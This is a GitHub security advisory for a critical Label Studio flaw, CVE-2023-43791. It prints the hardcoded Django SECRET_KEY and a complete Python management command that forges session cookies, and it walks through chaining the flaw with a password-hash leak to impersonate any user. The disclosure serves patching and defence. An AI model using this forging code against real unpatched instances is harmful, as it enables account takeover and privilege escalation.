Skip to content

Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens

Critical
jombooth published GHSA-f475-x83m-rx5m Nov 8, 2023

Package

pip label-studio (pip)

Affected versions

<= 1.8.1

Patched versions

1.8.2

Description

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.

Overview

In Label Studio version 1.8.1, a hard coded Django SECRET_KEY was set in the application settings. The Django SECRET_KEY is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.

However, the Django framework inserts a _auth_user_hash claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in 1.9.2post0) and forge session tokens for all users on Label Studio using the hard coded SECRET_KEY.

Description

Below is the code snippet of the Django settings file at label_studio/core/settings/base.py.

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n'

This secret is hard coded across all instances of Label Studio.

Proof of Concept

Below are the steps that an attacker could do to forge a session token of any account on Label Studio:

  1. Exploit the ORM Leak vulnerability (patched in 1.9.2post0) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email [email protected] with the password hash pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw= that was retrieved.

  2. Create a new Django project with an empty application. In cookieforge/cookieforge/settings.py set the SECRET_KEY to $(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n. Create a management command with the following code that will be used to create forged session tokens.

from typing import Any
from django.core.management.base import  BaseCommand, CommandParser
from django.core import signing
from django.utils.crypto import salted_hmac
from django.conf import settings
import time, uuid

class Command(BaseCommand):
    help = "Forge a users session cookie on Label Studio"

    def add_arguments(self, parser: CommandParser) -> None:
        parser.add_argument(
            '-o', '--organisation',
            help='Organisation ID to access',
            default=1,
            type=int
        )

        parser.add_argument(
            'user_id',
            help='The User ID of the victim you want to impersonate',
            type=str
        )

        parser.add_argument(
            'user_hash',
            help='The password hash the user you want to impersonate'
        )

    def handle(self, *args: Any, **options: Any) -> str | None:
        key = settings.SECRET_KEY
        # Creates the _auth_user_hash HMAC of the victim's password hash
        auth_user_hash = salted_hmac(
            'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash',
            options['user_hash'],
            secret=key,
            algorithm="sha256"
        ).hexdigest()

        session_dict = {
            'uid': str(uuid.uuid4()), 
            'organization_pk': options['organisation'], 
            'next_page': '/projects/', 
            'last_login': time.time(), 
            '_auth_user_id': options['user_id'], 
            '_auth_user_backend': 
            'django.contrib.auth.backends.ModelBackend', 
            '_auth_user_hash': auth_user_hash, 
            'keep_me_logged_in': True, 
            '_session_expiry': 600
        }

        # Creates a forged session token
        session_token = signing.dumps(
            session_dict,
            key=key,
            salt="django.contrib.sessions.backends.signed_cookies",
            compress=True
        )

        self.stdout.write(
            self.style.SUCCESS(f"session token: {session_token}")
        )
  1. Next run the following command replacing the {user_id} with the user ID of the account you want to the impersonate and {user_hash} with the victim's password hash. Copy the session token that is printed.
python3 manage.py forgecookie {user_id} '{user_hash}'
  1. Change the sessionid cookie on the browser and refresh the page. Observe being authenticated as the victim user.

Impact

This vulnerability can be chained with the ORM Leak vulnerability (which was patched in 1.9.2post0) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.

Remediation Advice

It is important to note that the hard coded SECRET_KEY has already been removed in Label Studio versions >=1.8.2. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.

We recommend that Human Signal to release a public disclosure about the hard coded SECRET_KEY to encourage users to patch to a version >=1.8.2 to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.

Discovered

  • August 2023, Robert Schuh, @Robbilie
  • August 2023, Alex Brown, elttam

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2023-43791

Weaknesses

Credits